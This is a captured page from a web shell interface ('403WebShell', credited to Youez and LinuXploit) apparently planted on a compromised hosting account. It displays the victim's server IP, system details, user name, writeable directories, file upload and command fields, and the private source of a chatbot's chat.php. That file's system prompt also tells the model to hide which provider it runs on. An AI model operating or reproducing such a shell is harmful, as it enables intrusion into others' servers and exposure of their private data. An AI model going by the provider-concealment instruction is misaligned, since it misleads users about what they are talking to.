Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/v/e/r/verseaumee/chatblueversion/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/v/e/r/verseaumee/chatblueversion/api/chat.php
<?php
require dirname(__DIR__).'/includes/bootstrap.php';
$u=current_user();$guest=null;
if(!$u){$token=$_COOKIE['bvx_guest']??'';if(!$token)json_out(['registration_required'=>true,'remaining'=>0],403);$s=$pdo->prepare('SELECT * FROM guest_sessions WHERE token_hash=? AND updated_at>=NOW()-INTERVAL 24 HOUR');$s->execute([hash('sha256',$token)]);$guest=$s->fetch();if(!$guest||(int)$guest['question_count']>=10)json_out(['registration_required'=>true,'remaining'=>0],403);}
$in=json_decode(file_get_contents('php://input'),true);$prompt=trim($in['prompt']??'');$requested=$in['conversation_id']??'';if($prompt==='')json_out(['error'=>'Prompt required'],422);if(empty($config['openai']['key']))json_out(['error'=>'BlueversionX is not connected yet. Ask the administrator to add the API key.'],503);
$cid='';if($requested){$col=$u?'user_id':'guest_id';$owner=$u['id']??$guest['id'];$c=$pdo->prepare("SELECT id FROM conversations WHERE id=? AND $col=?");$c->execute([$requested,$owner]);if($c->fetch())$cid=$requested;}
if(!$cid){$cid=bin2hex(random_bytes(16));$pdo->prepare('INSERT INTO conversations(id,user_id,guest_id,title) VALUES(?,?,?,?)')->execute([$cid,$u['id']??null,$guest['id']??null,mb_substr($prompt,0,120)]);}
$previous=$pdo->prepare('SELECT role,content FROM messages WHERE conversation_id=? ORDER BY id DESC LIMIT 10');$previous->execute([$cid]);$context=array_reverse($previous->fetchAll());$input=[];foreach($context as $msg)$input[]=['role'=>$msg['role'],'content'=>$msg['content']];$input[]=['role'=>'user','content'=>$prompt];
$instructions="You are BlueversionX, Blueversion's African history, science, culture, innovation and development assistant. Always identify yourself only as BlueversionX. Never introduce yourself as ChatGPT or mention a hidden provider. If asked who you are, answer: I am BlueversionX, created by Blueversion. Give factual, balanced answers, acknowledge uncertainty and cite reliable sources when available.";
$payload=['model'=>$config['openai']['model'],'instructions'=>$instructions,'input'=>$input,'max_output_tokens'=>1200];$ch=curl_init('https://api.openai.com/v1/responses');curl_setopt_array($ch,[CURLOPT_POST=>true,CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>['Authorization: Bearer '.$config['openai']['key'],'Content-Type: application/json'],CURLOPT_POSTFIELDS=>json_encode($payload),CURLOPT_TIMEOUT=>90]);$raw=curl_exec($ch);$status=curl_getinfo($ch,CURLINFO_HTTP_CODE);$data=json_decode($raw?:'{}',true);if($status>=400)json_out(['error'=>'BlueversionX could not answer. Check the API credit and configuration.'],502);$text='';foreach($data['output']??[] as $o)foreach($o['content']??[] as $part)if(($part['type']??'')==='output_text')$text.=$part['text'];
$m=$pdo->prepare('INSERT INTO messages(conversation_id,role,content,input_tokens,output_tokens) VALUES(?,?,?,?,?)');$m->execute([$cid,'user',$prompt,(int)($data['usage']['input_tokens']??0),0]);$m->execute([$cid,'assistant',$text,0,(int)($data['usage']['output_tokens']??0)]);$pdo->prepare('UPDATE conversations SET updated_at=NOW() WHERE id=?')->execute([$cid]);$remaining=null;if($guest){$pdo->prepare('UPDATE guest_sessions SET question_count=question_count+1,updated_at=NOW() WHERE id=?')->execute([$guest['id']]);$remaining=max(0,9-(int)$guest['question_count']);}json_out(['text'=>$text?:'BlueversionX could not generate a response.','conversation_id'=>$cid,'remaining'=>$remaining,'registration_required'=>$remaining===0]);

Youez - 2016 - github.com/yon3zu
LinuXploit